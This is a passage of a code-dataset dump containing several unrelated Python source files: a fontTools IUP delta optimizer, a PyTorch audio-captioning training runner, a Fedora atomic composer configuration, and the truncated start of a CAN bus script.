Interpolate\n\t\t\t\td = d1 + (x - x1) * scale\n\n\t\t\tout.append(d)\n\n\treturn zip(*out_arrays)\n\ndef iup_contour(delta, coords):\n\tassert len(delta) == len(coords)\n\tif None not in delta:\n\t\treturn delta\n\n\tn = len(delta)\n\t# indices of points with explicit deltas\n\tindices = [i for i,v in enumerate(delta) if v is not None]\n\tif not indices:\n\t\t# All deltas are None. Return 0,0 for all.\n\t\treturn [(0,0)]*n\n\n\tout = []\n\tit = iter(indices)\n\tstart = next(it)\n\tif start != 0:\n\t\t# Initial segment that wraps around\n\t\ti1, i2, ri1, ri2 = 0, start, start, indices[-1]\n\t\tout.extend(iup_segment(coords[i1:i2], coords[ri1], delta[ri1], coords[ri2], delta[ri2]))\n\tout.append(delta[start])\n\tfor end in it:\n\t\tif end - start > 1:\n\t\t\ti1, i2, ri1, ri2 = start+1, end, start, end\n\t\t\tout.extend(iup_segment(coords[i1:i2], coords[ri1], delta[ri1], coords[ri2], delta[ri2]))\n\t\tout.append(delta[end])\n\t\tstart = end\n\tif start != n-1:\n\t\t# Final segment that wraps around\n\t\ti1, i2, ri1, ri2 = start+1, n, start, indices[0]\n\t\tout.extend(iup_segment(coords[i1:i2], coords[ri1], delta[ri1], coords[ri2], delta[ri2]))\n\n\tassert len(delta) == len(out), (len(delta), len(out))\n\treturn out\n\ndef iup_delta(delta, coords, ends):\n\tassert sorted(ends) == ends and len(coords) == (ends[-1]+1 if ends else 0) + 4\n\tn = len(coords)\n\tends = ends + [n-4, n-3, n-2, n-1]\n\tout = []\n\tstart = 0\n\tfor end in ends:\n\t\tend += 1\n\t\tcontour = iup_contour(delta[start:end], coords[start:end])\n\t\tout.extend(contour)\n\t\tstart = end\n\n\treturn out\n\n# Optimizer\n\ndef can_iup_in_between(deltas, coords, i, j, tolerance):\n\tassert j - i >= 2\n\tinterp = list(iup_segment(coords[i+1:j], coords[i], deltas[i], coords[j], deltas[j]))\n\tdeltas = deltas[i+1:j]\n\n\tassert len(deltas) == len(interp)\n\n\treturn all(abs(complex(x-p, y-q)) <= tolerance for (x,y),(p,q) in zip(deltas, interp))\n\ndef _iup_contour_bound_forced_set(delta, coords, tolerance=0):\n\t\"\"\"The forced set is a conservative set of points on the contour that must be encoded\n\texplicitly (ie. cannot be interpolated). Calculating this set allows for significantly\n\tspeeding up the dynamic-programming, as well as resolve circularity in DP.\n\n\tThe set is precise; that is, if an index is in the returned set, then there is no way\n\tthat IUP can generate delta for that point, given coords and delta.\n\t\"\"\"\n\tassert len(delta) == len(coords)\n\n\tforced = set()\n\t# Track \"last\" and \"next\" points on the contour as we sweep.\n\tnd, nc = delta[0], coords[0]\n\tld, lc = delta[-1], coords[-1]\n\tfor i in range(len(delta)-1, -1, -1):\n\t\td, c = ld, lc\n\t\tld, lc = delta[i-1], coords[i-1]\n\n\t\tfor j in (0,1): # For X and for Y\n\t\t\tcj = c[j]\n\t\t\tdj = d[j]\n\t\t\tlcj = lc[j]\n\t\t\tldj = ld[j]\n\t\t\tncj = nc[j]\n\t\t\tndj = nd[j]\n\n\t\t\tif lcj <= ncj:\n\t\t\t\tc1, c2 = lcj, ncj\n\t\t\t\td1, d2 = ldj, ndj\n\t\t\telse:\n\t\t\t\tc1, c2 = ncj, lcj\n\t\t\t\td1, d2 = ndj, ldj\n\n\t\t\t# If coordinate for current point is between coordinate of adjacent\n\t\t\t# points on the two sides, but the delta for current point is NOT\n\t\t\t# between delta for those adjacent points (considering tolerance\n\t\t\t# allowance), then there is no way that current point can be IUP-ed.\n\t\t\t# Mark it forced.\n\t\t\tforce = False\n\t\t\tif c1 <= cj <= c2:\n\t\t\t\tif not (min(d1,d2)-tolerance <= dj <= max(d1,d2)+tolerance):\n\t\t\t\t\tforce = True\n\t\t\telse: # cj < c1 or c2 < cj\n\t\t\t\tif c1 == c2:\n\t\t\t\t\tif d1 == d2:\n\t\t\t\t\t\tif abs(dj - d1) > tolerance:\n\t\t\t\t\t\t\tforce = True\n\t\t\t\t\telse:\n\t\t\t\t\t\tif abs(dj) > tolerance:\n\t\t\t\t\t\t\t# Disabled the following because the \"d1 == d2\" does\n\t\t\t\t\t\t\t# check does not take tolerance into consideration...\n\t\t\t\t\t\t\tpass # force = True\n\t\t\t\telif d1 != d2:\n\t\t\t\t\tif cj < c1:\n\t\t\t\t\t\tif dj != d1 and ((dj-tolerance < d1) != (d1 < d2)):\n\t\t\t\t\t\t\tforce = True\n\t\t\t\t\telse: # c2 < cj\n\t\t\t\t\t\tif d2 != dj and ((d2 < dj+tolerance) != (d1 < d2)):\n\t\t\t\t\t\t\tforce = True\n\n\t\t\tif force:\n\t\t\t\tforced.add(i)\n\t\t\t\tbreak\n\n\t\tnd, nc = d, c\n\n\treturn forced\n\ndef _iup_contour_optimize_dp(delta, coords, forced={}, tolerance=0, lookback=None):\n\t\"\"\"Straightforward Dynamic-Programming. For each index i, find least-costly encoding of\n\tpoints 0 to i where i is explicitly encoded. We find this by considering all previous\n\texplicit points j and check whether interpolation can fill points between j and i.\n\n\tNote that solution always encodes last point explicitly. Higher-level is responsible\n\tfor removing that restriction.\n\n\tAs major speedup, we stop looking further whenever we see a \"forced\" point.\"\"\"\n\n\tn = len(delta)\n\tif lookback is None:\n\t\tlookback = n\n\tcosts = {-1:0}\n\tchain = {-1:None}\n\tfor i in range(0, n):\n\t\tbest_cost = costs[i-1] + 1\n\n\t\tcosts[i] = best_cost\n\t\tchain[i] = i - 1\n\n\t\tif i - 1 in forced:\n\t\t\tcontinue\n\n\t\tfor j in range(i-2, max(i-lookback, -2), -1):\n\n\t\t\tcost = costs[j] + 1\n\n\t\t\tif cost < best_cost and can_iup_in_between(delta, coords, j, i, tolerance):\n\t\t\t\tcosts[i] = best_cost = cost\n\t\t\t\tchain[i] = j\n\n\t\t\tif j in forced:\n\t\t\t\tbreak\n\n\treturn chain, costs\n\ndef _rot_list(l, k):\n\t\"\"\"Rotate list by k items forward. Ie. item at position 0 will be\n\tat position k in returned list. Negative k is allowed.\"\"\"\n\tn = len(l)\n\tk %= n\n\tif not k: return l\n\treturn l[n-k:] + l[:n-k]\n\ndef _rot_set(s, k, n):\n\tk %= n\n\tif not k: return s\n\treturn {(v + k) % n for v in s}\n\ndef iup_contour_optimize(delta, coords, tolerance=0.):\n\tn = len(delta)\n\n\t# Get the easy cases out of the way:\n\n\t# If all are within tolerance distance of 0, encode nothing:\n\tif all(abs(complex(*p)) <= tolerance for p in delta):\n\t\treturn [None] * n\n\n\t# If there's exactly one point, return it:\n\tif n == 1:\n\t\treturn delta\n\n\t# If all deltas are exactly the same, return just one (the first one):\n\td0 = delta[0]\n\tif all(d0 == d for d in delta):\n\t\treturn [d0] + [None] * (n-1)\n\n\t# Else, solve the general problem using Dynamic Programming.\n\n\tforced = _iup_contour_bound_forced_set(delta, coords, tolerance)\n\t# The _iup_contour_optimize_dp() routine returns the optimal encoding\n\t# solution given the constraint that the last point is always encoded.\n\t# To remove this constraint, we use two different methods, depending on\n\t# whether forced set is non-empty or not:\n\n\tif forced:\n\t\t# Forced set is non-empty: rotate the contour start point\n\t\t# such that the last point in the list is a forced point.\n\t\tk = (n-1) - max(forced)\n\t\tassert k >= 0\n\n\t\tdelta = _rot_list(delta, k)\n\t\tcoords = _rot_list(coords, k)\n\t\tforced = _rot_set(forced, k, n)\n\n\t\tchain, costs = _iup_contour_optimize_dp(delta, coords, forced, tolerance)\n\n\t\t# Assemble solution.\n\t\tsolution = set()\n\t\ti = n - 1\n\t\twhile i is not None:\n\t\t\tsolution.add(i)\n\t\t\ti = chain[i]\n\t\tassert forced <= solution, (forced, solution)\n\t\tdelta = [delta[i] if i in solution else None for i in range(n)]\n\n\t\tdelta = _rot_list(delta, -k)\n\telse:\n\t\t# Repeat the contour an extra time, solve the 2*n case, then look for solutions of the\n\t\t# circular n-length problem in the solution for 2*n linear case. I cannot prove that\n\t\t# this always produces the optimal solution...\n\t\tchain, costs = _iup_contour_optimize_dp(delta+delta, coords+coords, forced, tolerance, n)\n\t\tbest_sol, best_cost = None, n+1\n\n\t\tfor start in range(n-1, 2*n-1):\n\t\t\t# Assemble solution.\n\t\t\tsolution = set()\n\t\t\ti = start\n\t\t\twhile i > start - n:\n\t\t\t\tsolution.add(i % n)\n\t\t\t\ti = chain[i]\n\t\t\tif i == start - n:\n\t\t\t\tcost = costs[start] - costs[start - n]\n\t\t\t\tif cost <= best_cost:\n\t\t\t\t\tbest_sol, best_cost = solution, cost\n\n\t\tdelta = [delta[i] if i in best_sol else None for i in range(n)]\n\n\n\treturn delta\n\ndef iup_delta_optimize(delta, coords, ends, tolerance=0.):\n\tassert sorted(ends) == ends and len(coords) == (ends[-1]+1 if ends else 0) + 4\n\tn = len(coords)\n\tends = ends + [n-4, n-3, n-2, n-1]\n\tout = []\n\tstart = 0\n\tfor end in ends:\n\t\tcontour = iup_contour_optimize(delta[start:end+1], coords[start:end+1], tolerance)\n\t\tassert len(contour) == end - start + 1\n\t\tout.extend(contour)\n\t\tstart = end+1\n\n\treturn out\n","repo_name":"kevancress/MeasureIt_ARCH","sub_path":"libs/fontTools/varLib/iup.py","file_name":"iup.py","file_ext":"py","file_size_in_byte":8276,"program_lang":"python","lang":"en","doc_type":"code","stars":220,"dataset":"github-code","pt":"37"} +{"seq_id":"24183501626","text":"# coding=utf-8\n#!/usr/bin/env python3\nimport os\nimport sys\n\nfrom torch._C import device\nsys.path.append(os.getcwd())\nimport pickle\nimport datetime\nimport uuid\nfrom pathlib import Path\n\nimport fire\nimport numpy as np\nimport torch\nfrom torch import nn\nfrom torch.utils.tensorboard import SummaryWriter\nfrom tqdm import tqdm\n\nimport models\nimport models.encoder\nimport models.decoder\nimport losses.loss as losses\nimport utils.train_util as train_util\nfrom utils.build_vocab import Vocabulary\nfrom runners.base_runner import BaseRunner\nfrom utils.train_util import mean_with_lens, max_with_lens\nimport random\nclass Runner(BaseRunner):\n\n @staticmethod\n def _get_model(config, outputfun=sys.stdout):\n vocabulary = config[\"vocabulary\"]\n encoder = getattr(\n models.encoder, config[\"encodermodel\"])(\n config[\"data_dim\"],\n **config[\"encoder_args\"]\n )\n if \"pretrained_encoder\" in config:\n train_util.load_pretrained_model(encoder, \n config[\"pretrained_encoder\"],\n outputfun)\n decoder = getattr(\n models.decoder, config[\"decoder\"])(\n vocab_size=len(vocabulary),\n enc_mem_size=config[\"encoder_args\"][\"embed_size\"],\n **config[\"decoder_args\"]\n )\n\n if \"pretrained_word_embedding\" in config:\n embeddings = np.load(config[\"pretrained_word_embedding\"])\n decoder.load_word_embeddings(\n embeddings,\n freeze=config[\"freeze_word_embedding\"]\n )\n if \"pretrained_decoder\" in config:\n train_util.load_pretrained_model(decoder,\n config[\"pretrained_decoder\"],\n outputfun)\n model = getattr(\n models, config[\"model\"])(\n encoder, decoder, **config[\"model_args\"]\n )\n if \"pretrained\" in config:\n train_util.load_pretrained_model(model,\n config[\"pretrained\"],\n outputfun)\n return model\n\n\n def _forward(self, model, batch, mode, **kwargs):\n assert mode in (\"train\", \"validation\", \"eval\")\n\n if mode == \"train\":\n feats = batch[0].to(self.device)\n caps = batch[1]\n feat_lens = batch[-2]\n cap_lens = batch[-1]\n if len(batch) == 6:\n caption_embedding = batch[-3]\n else:\n feats = batch[1].to(self.device)\n feat_lens = batch[-1]\n\n # feats = convert_tensor(feats.float(),\n # device=self.device,\n # non_blocking=True)\n\n if mode == \"train\":\n # caps = convert_tensor(caps.long(),\n # device=self.device,\n # non_blocking=True)\n # pack labels to remove padding from caption labels\n targets = torch.nn.utils.rnn.pack_padded_sequence(\n caps[:, 1:], cap_lens - 1, batch_first=True).data\n\n output = model(feats, feat_lens, caps, cap_lens, **kwargs)\n\n packed_logits = torch.nn.utils.rnn.pack_padded_sequence(\n output[\"logits\"], cap_lens - 1, batch_first=True).data\n # packed_logits = convert_tensor(\n # packed_logits, device=self.device, non_blocking=True)\n outputs_mean = mean_with_lens(output[\"outputs\"],cap_lens - 1)\n outputs_max = max_with_lens(output[\"outputs\"], cap_lens - 1)\n pre_captionembedding = outputs_mean + outputs_max\n \n output[\"packed_logits\"] = packed_logits\n output[\"targets\"] = targets\n output[\"pre_captionembedding\"] = pre_captionembedding\n if len(batch) == 6:\n output[\"caption_embedding\"] = caption_embedding\n else:\n output = model(feats, feat_lens, **kwargs)\n\n return output\n \n def _update_ss_ratio(self, config):\n mode = config[\"ss_args\"][\"ss_mode\"]\n total_iters = config[\"total_iters\"]\n if mode == \"exponential\":\n self.ss_ratio *= 0.01 ** (1.0 / total_iters)\n elif mode == \"linear\":\n self.ss_ratio -= (1.0 - config[\"ss_args\"][\"final_ss_ratio\"]) / total_iters\n\n def train(self, config, **kwargs):\n \"\"\"Trains a model on the given configurations.\n :param config: A training configuration. Note that all parameters in the config can also be manually adjusted with --ARG=VALUE\n :param **kwargs: parameters to overwrite yaml config\n \"\"\"\n from pycocoevalcap.cider.cider import Cider\n\n conf = train_util.parse_config_or_kwargs(config, **kwargs)\n self.seed = conf[\"seed\"]\n # random.seed(self.seed)\n # np.random.seed(self.seed)\n # torch.manual_seed(self.seed)\n device = \"cpu\"\n if torch.cuda.is_available():\n device = conf[\"device\"]\n # torch.cuda.manual_seed_all(self.seed)\n torch.backends.cudnn.deterministic = True\n torch.backends.cudnn.benchmark = False\n self.device = torch.device(device)\n conf[\"seed\"] = self.seed\n ce_args = conf[\"captionembedding_args\"]\n self.remark = conf[\"remark\"]\n self.dec_par = ce_args[\"dec_par\"]\n self.enc_par = ce_args[\"enc_par\"]\n #########################\n # Distributed training initialization\n #########################\n if conf[\"distributed\"]:\n torch.distributed.init_process_group(backend=\"nccl\")\n self.local_rank = torch.distributed.get_rank()\n self.world_size = torch.distributed.get_world_size()\n assert kwargs[\"local_rank\"] == self.local_rank\n torch.cuda.set_device(self.local_rank)\n self.device = torch.device(\"cuda\", self.local_rank)\n\n #########################\n # Create checkpoint directory\n #########################\n if not conf[\"distributed\"] or not self.local_rank:\n outputdir = Path(conf[\"outputpath\"]) / conf[\"model\"] / \\\n f\"{self.remark}_dec_arg_{self.dec_par}_enc_arg_{self.enc_par}\" / f\"seed_{self.seed}\"\n # \"{}_{}\".format(datetime.datetime.now().strftime(\"%Y-%m-%d_%H-%M-%m\"),\n # uuid.uuid1().hex)\n outputdir.mkdir(parents=True, exist_ok=True)\n logger = train_util.genlogger(str(outputdir / \"train_caption.log\"))\n # print passed config parameters\n if \"SLURM_JOB_ID\" in os.environ:\n logger.info(f\"Slurm job id: {os.environ['SLURM_JOB_ID']}\")\n logger.info(f\"Slurm node: {os.environ['SLURM_JOB_NODELIST']}\")\n logger.info(f\"Storing files in: {outputdir}\")\n train_util.pprint_dict(conf, logger.info)\n\n #########################\n # Create dataloaders\n #########################\n zh = conf[\"zh\"]\n vocabulary = pickle.load(open(conf[\"vocab_file\"], \"rb\"))\n conf[\"vocabulary\"] = vocabulary\n dataloaders = self._get_dataloaders(conf,conf[\"vocabulary\"])\n train_dataloader = dataloaders[\"train_dataloader\"]\n val_dataloader = dataloaders[\"val_dataloader\"]\n val_key2refs = dataloaders[\"val_key2refs\"]\n conf[\"data_dim\"] = train_dataloader.dataset.data_dim\n # conf[\"data\"][\"fc_feat_dim\"] = train_dataloader.dataset.fc_feat_dim\n # conf[\"data\"][\"attn_feat_dim\"] = train_dataloader.dataset.attn_feat_dim\n total_iters = len(train_dataloader) * conf[\"epochs\"]\n conf[\"total_iters\"] = total_iters\n\n #########################\n # Build model\n #########################\n if not conf[\"distributed\"] or not self.local_rank:\n model = self._get_model(conf, logger.info)\n else:\n model = self._get_model(conf)\n model = model.to(self.device)\n if conf[\"distributed\"]:\n model = torch.nn.parallel.distributed.DistributedDataParallel(\n model, device_ids=[self.local_rank,], output_device=self.local_rank,\n find_unused_parameters=True)\n swa_model = torch.optim.swa_utils.AveragedModel(model)\n if not conf[\"distributed\"] or not self.local_rank:\n train_util.pprint_dict(model, logger.info, formatter=\"pretty\")\n num_params = 0\n for param in model.parameters():\n num_params += param.numel()\n logger.info(f\"{num_params} parameters in total\")\n\n #########################\n # Build loss function and optimizer\n #########################\n optimizer = getattr(torch.optim, conf[\"optimizer\"])(\n model.parameters(), **conf[\"optimizer_args\"])\n # optimizer = getattr(torch.optim, conf[\"optimizer\"])(\n # [{\"params\": model.encoder.parameters()},\n # {\"params\": model.decoder.parameters(),\"lr\":conf[\"optimizer_args\"][\"lr\"]*10}\n # ], **conf[\"optimizer_args\"])\n # loss_fn = getattr(losses, conf[\"loss\"])(**conf[\"loss_args\"])\n if conf[\"label_smoothing\"]:\n criterion = train_util.LabelSmoothingLoss(len(vocabulary), smoothing=conf[\"smoothing\"],device = self.device).to(self.device)\n else:\n criterion = torch.nn.CrossEntropyLoss().to(self.device)\n if not conf[\"distributed\"] or not self.local_rank:\n train_util.pprint_dict(optimizer, logger.info, formatter=\"pretty\")\n crtrn_imprvd = train_util.criterion_improver(conf[\"improvecriterion\"])\n if \"embedding_path\" in conf:\n Similarity = nn.CosineEmbeddingLoss().to(self.device)\n\n #########################\n # Tensorboard record\n #########################\n if not conf[\"distributed\"] or not self.local_rank:\n tb_writer = SummaryWriter(outputdir / \"run\")\n\n\n #########################\n # Create learning rate scheduler\n #########################\n try:\n scheduler = getattr(torch.optim.lr_scheduler, conf[\"scheduler\"])(\n optimizer, **conf[\"scheduler_args\"])\n except AttributeError:\n # import utils.lr_scheduler as lr_scheduler\n # if conf[\"scheduler\"] == \"ExponentialDecayScheduler\":\n # conf[\"scheduler_args\"][\"total_iters\"] = total_iters\n # if \"warmup_iters\" not in conf[\"scheduler_args\"]:\n # warmup_iters = total_iters // 5\n # conf[\"scheduler_args\"][\"warmup_iters\"] = warmup_iters\n # if not conf[\"distributed\"] or not self.local_rank:\n # logger.info(f\"Warm up iterations: {conf['scheduler_args']['warmup_iters']}\")\n # scheduler = getattr(lr_scheduler, conf[\"scheduler\"])(\n # optimizer, **conf[\"scheduler_args\"])\n import utils.lr_scheduler\n if conf[\"scheduler\"] == \"ExponentialDecayScheduler\":\n conf[\"scheduler_args\"][\"total_iters\"] = len(train_dataloader) * conf[\"epochs\"]\n scheduler = getattr(utils.lr_scheduler, conf[\"scheduler\"])(\n optimizer, **conf[\"scheduler_args\"])\n elif conf[\"scheduler\"] == \"WarmupLinearSchedule\":\n scheduler = getattr(utils.lr_scheduler, conf[\"scheduler\"])(\n optimizer, **conf[\"scheduler_args\"])\n\n if scheduler.__class__.__name__ in [\"StepLR\", \"ReduceLROnPlateau\", \"ExponentialLR\", \"MultiStepLR\",\"WarmupLinearSchedule\"]:\n epoch_update_lr = True\n else:\n epoch_update_lr = False\n\n\n #########################\n # Dump configuration\n #########################\n if not conf[\"distributed\"] or not self.local_rank:\n del conf[\"vocabulary\"]\n train_util.store_yaml(conf, outputdir / \"config.yaml\")\n\n #########################\n # Start training\n #########################\n\n self.ss_ratio = conf[\"ss_args\"][\"ss_ratio\"]\n iteration = 0\n logger.info(\"{:^10}\\t{:^10}\\t{:^10}\\t{:^10}\".format(\n \"Epoch\", \"Train loss\", \"Val score\", \"Learning rate\"))\n \n for epoch in range(1, conf[\"epochs\"] + 1):\n #########################\n # Training of one epoch\n #########################\n model.train()\n loss_history = []\n nsample_history = []\n with torch.enable_grad(), tqdm(total=len(train_dataloader), ncols=100,\n ascii=True) as pbar:\n for batch in train_dataloader:\n\n iteration += 1\n\n #########################\n # Update scheduled sampling ratio\n #########################\n self._update_ss_ratio(conf)\n tb_writer.add_scalar(\"scheduled_sampling_prob\", self.ss_ratio, iteration)\n\n #########################\n # Update learning rate\n #########################\n if not epoch_update_lr:\n scheduler.step()\n tb_writer.add_scalar(\"lr\", optimizer.param_groups[0][\"lr\"], iteration)\n\n #########################\n # Forward and backward\n #########################\n optimizer.zero_grad()\n output = self._forward(model, batch, \"train\",\n ss_ratio=self.ss_ratio)\n if \"embedding_path\" in conf:\n # loss = criterion(output[\"packed_logits\"], output[\"targets\"]).to(self.device) + \\\n # ce_args[\"dec_par\"] * Similarity(output[\"pre_captionembedding\"],torch.Tensor(output[\"caption_embedding\"]).to(self.device),torch.ones(batch[0].shape[0]).to(self.device))\\\n # +ce_args[\"enc_par\"] * Similarity(output[\"audio_embeds_pooled\"],torch.Tensor(output[\"caption_embedding\"]).to(self.device),torch.ones(batch[0].shape[0]).to(self.device))\n loss = criterion(output[\"packed_logits\"], output[\"targets\"]).to(self.device) + ce_args[\"dec_par\"] * Similarity(output[\"pre_captionembedding\"],torch.Tensor(output[\"caption_embedding\"]).to(self.device),torch.ones(batch[0].shape[0]).to(self.device))\n else:\n loss = criterion(output[\"packed_logits\"], output[\"targets\"]).to(self.device)\n loss.backward()\n torch.nn.utils.clip_grad_norm_(model.parameters(), \n conf[\"max_grad_norm\"])\n optimizer.step()\n\n #########################\n # Write the loss summary\n #########################\n cap_lens = batch[-1]\n nsample = sum(cap_lens - 1)\n loss_history.append(loss.item() * nsample)\n nsample_history.append(sum(cap_lens - 1))\n if not conf[\"distributed\"] or not self.local_rank:\n tb_writer.add_scalar(\"loss/train\", loss.item(), iteration)\n pbar.set_postfix(running_loss=loss.item())\n pbar.update()\n\n #########################\n # Stochastic weight averaging\n #########################\n # if conf[\"swa\"]:\n # if epoch >= conf[\"swa_start\"]:\n # swa_model.update_parameters(model)\n\n #########################\n # Validation of one epoch\n #########################\n model.eval()\n key2pred = {}\n with torch.no_grad(), tqdm(total=len(val_dataloader), ncols=100,\n ascii=True) as pbar:\n for batch in val_dataloader:\n output = self._forward(model, batch, \"validation\",\n sample_method=\"beam\", beam_size=3)\n keys = batch[0]\n seqs = output[\"seqs\"].cpu().numpy()\n for (idx, seq) in enumerate(seqs):\n candidate = self._convert_idx2sentence(\n seq, vocabulary, zh)\n key2pred[keys[idx]] = [candidate,]\n pbar.update()\n # scorer = Cider(zh=zh)\n scorer = Cider()\n score_output = self._eval_prediction(val_key2refs, key2pred, [scorer])\n score = score_output[\"CIDEr\"]\n\n #########################\n # Update learning rate\n #########################\n if epoch_update_lr:\n scheduler.step(score)\n\n if not conf[\"distributed\"] or not self.local_rank:\n #########################\n # Log results of this epoch\n #########################\n train_loss = np.sum(loss_history) / np.sum(nsample_history)\n lr = optimizer.param_groups[0][\"lr\"]\n output_str = f\"{epoch:^10}\\t{train_loss:^10.3g}\\t{score:^10.3g}\\t{lr:^10.3g}\"\n logger.info(output_str)\n tb_writer.add_scalar(f\"score/val\", score, epoch)\n\n #########################\n # Save checkpoint\n #########################\n dump = {\n \"model\": model.state_dict() if not conf[\"distributed\"] else model.module.state_dict(),\n \"optimizer\": optimizer.state_dict(),\n \"lr_scheduler\": scheduler.state_dict(),\n \"vocabulary\": vocabulary.idx2word\n }\n if crtrn_imprvd(score):\n torch.save(dump, outputdir / \"best.pth\")\n torch.save(dump, outputdir / \"last.pth\")\n\n\n # if not conf[\"distributed\"] or not self.local_rank:\n # #########################\n # # Stochastic weight averaging\n # #########################\n # if conf[\"swa\"]:\n # torch.save({\n # \"model\": swa_model.module.state_dict(),\n # \"vocabulary\": vocabulary.idx2word\n # }, outputdir / \"swa.pth\")\n # return outputdir\n\n\nif __name__ == \"__main__\":\n fire.Fire(Runner)\n","repo_name":"PRIS-CV/Caption-Feature-Space-Regularization","sub_path":"runners/pytorch_runner.py","file_name":"pytorch_runner.py","file_ext":"py","file_size_in_byte":18523,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"29009773354","text":"# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n\"\"\"\nThe primary atomic composer configuration.\n\nThe appropriate entry in the 'releases' must be passed into\nthe AtomicComposer.composer method.\n\nThe code at the bottom maps+expands the paths &\ncommands to each of the releases, for ease of\nconfiguration.\n\"\"\"\n\n# Check if we're running on RHEL6 and disable\n# `mock --new-chroot` and `rpm-ostree --workdir-tmpfs`\nimport platform\ndist = platform.dist()\nrhel6 = dist[0] == 'redhat' and int(float(dist[1])) == 6\n\nconfig = dict(\n releases={\n 'f21-updates': {\n 'name': 'f21-updates',\n 'repo': 'updates',\n 'version': '21',\n 'arch': 'x86_64',\n\n # OSTree treefile configuration\n # https://github.com/projectatomic/rpm-ostree/blob/master/doc/treefile.md\n 'tree': 'docker-host',\n 'treefile': {\n 'include': 'fedora-atomic-docker-host.json',\n 'ref': 'fedora-atomic/f21/x86_64/updates/docker-host',\n 'repos': ['fedora-21', 'updates'],\n 'packages': [],\n },\n\n # The name of the mock container to build and maintain\n 'mock': 'fedora-21-updates-x86_64',\n\n # The git branch to use in the `git_repo` for the parent\n # treefile & repo configurations\n 'git_branch': 'f21',\n\n # Add or overwrite yum repository name:urls. This lets you\n # compose trees against your own repositories.\n 'repos': {},\n },\n\n 'f21-updates-testing': {\n 'name': 'f21-updates-testing',\n 'repo': 'updates-testing',\n 'version': '21',\n 'arch': 'x86_64',\n 'tree': 'docker-host',\n 'treefile': {\n 'include': 'fedora-atomic-docker-host.json',\n 'ref': 'fedora-atomic/f21/x86_64/updates-testing/docker-host',\n 'repos': ['fedora-21', 'updates', 'updates-testing'],\n },\n 'git_branch': 'f21',\n 'mock': 'fedora-21-updates-testing-x86_64',\n 'repos': {},\n },\n\n 'rawhide': {\n 'name': 'rawhide',\n 'repo': 'rawhide',\n 'version': 'rawhide',\n 'arch': 'x86_64',\n 'tree': 'docker-host',\n 'treefile': {\n 'include': 'fedora-atomic-docker-host.json',\n 'ref': 'fedora-atomic/rawhide/x86_64/docker-host',\n 'repos': ['rawhide'],\n },\n 'git_branch': 'f21',\n 'mock': 'fedora-rawhide-x86_64',\n 'repos': {},\n },\n },\n\n # Package repositories to use in the mock container and ostree compose\n repos={\n 'rawhide': 'https://mirrors.fedoraproject.org/metalink?repo={version}&arch={arch}',\n 'fedora-{version}': 'https://mirrors.fedoraproject.org/metalink?repo=fedora-{version}&arch={arch}',\n 'updates': 'https://mirrors.fedoraproject.org/metalink?repo=updates-released-f{version}&arch={arch}',\n 'updates-testing': 'https://mirrors.fedoraproject.org/metalink?repo=updates-testing-f{version}&arch={arch}',\n },\n\n # Output directories\n prod_dir='/var/lib/fedora-atomic',\n work_dir='{prod_dir}/work',\n canonical_dir='{prod_dir}/{version}',\n output_dir='{work_dir}/{version}/{arch}/{tree}',\n log_dir='{work_dir}/logs/{version}/{arch}/{repo}/{tree}',\n\n # A list of other directories to mount in the mock container\n mount_dirs=[],\n\n # The git repo containing our parent treefiles and yum repos\n git_repo='https://git.fedorahosted.org/git/fedora-atomic.git',\n git_cache='{work_dir}/fedora-atomic.git',\n # Some branches contain custom .repo files that we don't want to use\n delete_repo_files=True,\n\n # Mock command\n mock_cmd='/usr/bin/mock -r {mock}',\n mock_clean=True,\n\n # OSTree commands\n ostree_init='/usr/bin/ostree --repo={output_dir} init --mode=archive-z2',\n ostree_compose='/usr/bin/rpm-ostree compose tree' +\n (rhel6 and ' ' or ' --workdir-tmpfs ') + '--repo={output_dir} %s',\n ostree_summary='/usr/bin/ostree --repo={output_dir} summary --update',\n\n # Bi-directional syncing\n #rsync_in_objs='/usr/bin/rsync -rvp --ignore-existing {canonical_dir}/objects/ {output_dir}/objects/',\n #rsync_in_rest='/usr/bin/rsync -rvp --exclude=objects/ {canonical_dir}/ {output_dir}/',\n #rsync_out_objs='/usr/bin/rsync -rvp --ignore-existing {output_dir}/objects/ {canonical_dir}/objects/',\n #rsync_out_rest='/usr/bin/rsync -rvp --exclude=objects/ {output_dir}/ {canonical_dir}/',\n\n # Define the config keys to map to each release, in the appropriate order\n map_to_release=('prod_dir', 'work_dir', 'output_dir', 'log_dir',\n 'git_repo', 'git_cache', 'mock_cmd', 'ostree_init',\n 'ostree_compose', 'ostree_summary', 'canonical_dir',\n 'repos', 'rsync_in_objs', 'rsync_in_rest', 'rsync_out_objs',\n 'rsync_out_rest', 'mount_dirs', 'mock_clean',\n 'delete_repo_files'),\n)\n\n# Map and expand variables to each release\nfor key in config.get('map_to_release', []):\n for name, release in config['releases'].items():\n if key in config:\n value = config[key]\n if isinstance(value, dict):\n release[key] = {}\n for k, v in value.items():\n k = k.format(**release)\n release[key][k] = v.format(**release)\n elif isinstance(value, (list, tuple)):\n release[key] = []\n for item in value:\n release[key].append(item.format(**release))\n elif isinstance(value, bool):\n release[key] = value\n else:\n release[key] = value.format(**release)\n","repo_name":"fedora-infra/fedmsg-atomic-composer","sub_path":"fedmsg_atomic_composer/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":6423,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"37"} +{"seq_id":"31385097158","text":"# coding: utf8\nimport time, queue, json, threading\nfrom app.CAN import UsrCAN, HttpHandle\n\nUSE_EXTENDED_FRAME = False #使用标准帧\nFUN_CODE_BIT = 7 #节点所占用位数\nFUN_CODE_DICT = { # 远程帧时的功能码\n 'heart_beat': 0,\n 'data_object_request': 1,\n 'time_stamp_request': 2,\n 'open_device': 3,\n 'close_device': 4,\n 'recv_complete': 5,\n 'train_device': 6,\n 'test_device': 7\n}\nDEVICE_STATUS_CODE = ['00001', 'OFF', 'ON', '00002', '00003', '00004', '00005', '00006', '00007', '00008']\ndevice_status = {} # 设备缓存\ndata_Receiving = 0 # 接收状态\ndog_count = 0 # 超时计数\nCANSendQueue = queue.Queue(16)\nCANRecvQueue = queue.Queue(64)\ndataRequestQueue = 